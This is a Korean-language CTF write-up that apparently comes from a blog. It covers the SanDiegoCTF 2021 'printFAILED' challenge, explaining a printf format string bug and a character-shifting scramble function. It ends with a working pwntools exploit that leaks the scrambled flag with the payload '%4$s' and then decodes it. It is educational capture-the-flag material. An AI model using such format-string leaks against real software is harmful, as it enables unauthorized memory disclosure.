CTF/Write UPs

[SanDiegoCTF 2021 : pwnable] printFAILED 풀이 (FSB)

jir4vvit 2021. 5. 11. 20:49
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

'못하겠다'라고 생각해서 못 푼 문제다.

'할수있다'라고 생각했으면 풀었을 듯 하다..


이게 포넙 중에서 솔브 수가 가장 높다. 풀기 전엔 왜 솔브 수가 가장 많지..? 했는데... 풀고나니 바로 납득 되어버림

Analysis

mitigation

execution

로컬에서는 세폴이 뜨는데 nc로 접속했을 때는 잘된다. 바이너리를 열어보자.

code

main

로컬에서 돌렸을 때, 저기 주황색 부분 때문에 세폴이 뜬다. 정확히는 flag.txt 파일을 열어서 fgets로 flag 전역변수에다가 flag.txt 내용을 쓰는데 로컬에 flag.txt가 없어서 세폴이 떴던 것...

 

결론은 로컬에 flag.txt를 하나 만들어줘야한다.

그럼 이렇게 실행이 잘된다.

 

다시 코드 분석으로 돌아가자. printf 함수에서 FSB 취약점이 발견된다.

 

그리고 scramble 함수도 눈에 좀 띄는데... 난 처음에 이 함수가 라이브러리 함수인 줄 알았다. 하지만 사용자 정의함수였다 ㅎ..

일단 코드는 이런데, 코드 읽는게 좀 안익숙해서 gdb로 디버깅을 해보았다.

flag = sdctf{test_flag}

 

참고로 rdx는 0이었다. index가 0이라고 생각하면 될 것 같다.

flag에서 0번째 문자는 s, 얘를 +1 하면 t가 된다.

그리고 t를 s대신 넣어준다.

 

sdctf -> tedug 이런식으로 한칸씩 밀리게 된다. 

flag가 sdctf라고 치면, scramble 한 후에는 tedug가 된다.

 

Exploit Scenario

Summary

  1. %4$s 해서 scramble()함수가 적용된(?) flag 읽어오기
  2. 한칸씩 앞으로 밀어서(?) 최종 flag값 읽기

scramble 함수가 적용된 flag를 읽어서 한칸씩 앞으로 밀면 flag를 읽을 수 있겠다 생각했다.

그럼 scramble 함수가 적용된 flag는 어떻게 읽느냐...?

 

우리에겐 FSB가 있으니 적극 활용해보자.

64bit에서는 레지스터부터 값을 leak해온다.

저기 R8 레지스터에 scramble()를 거친 flag값이 저장되어 있다.

 

저거를 문자열로 읽어오려면 %4$s 로 읽어오면 된다.

 

저 값을 읽어오는데 성공했으면.. 이제 -1해서 앞으로 한칸씩 밀어서 flag값을 출력해주면 된다!

Exploit Code

from pwn import *

#p = process('./printFailed')
p = remote('printf.sdc.tf', 1337)
e = ELF('./printFailed')

#guess = "tedug|uftu`gmbh~\v" + "\001"*22
#p.sendlineafter('\n', guess)

payload = 'tmp:%4$s'
pause()
p.sendlineafter('\n', payload)

p.recvuntil('tmp:')
tmp = p.recvline()
log.info('tmp : '+tmp)

flag = ''
for i in tmp:
    flag += chr(ord(i) - 1)

log.info('flag : '+flag)

p.interactive()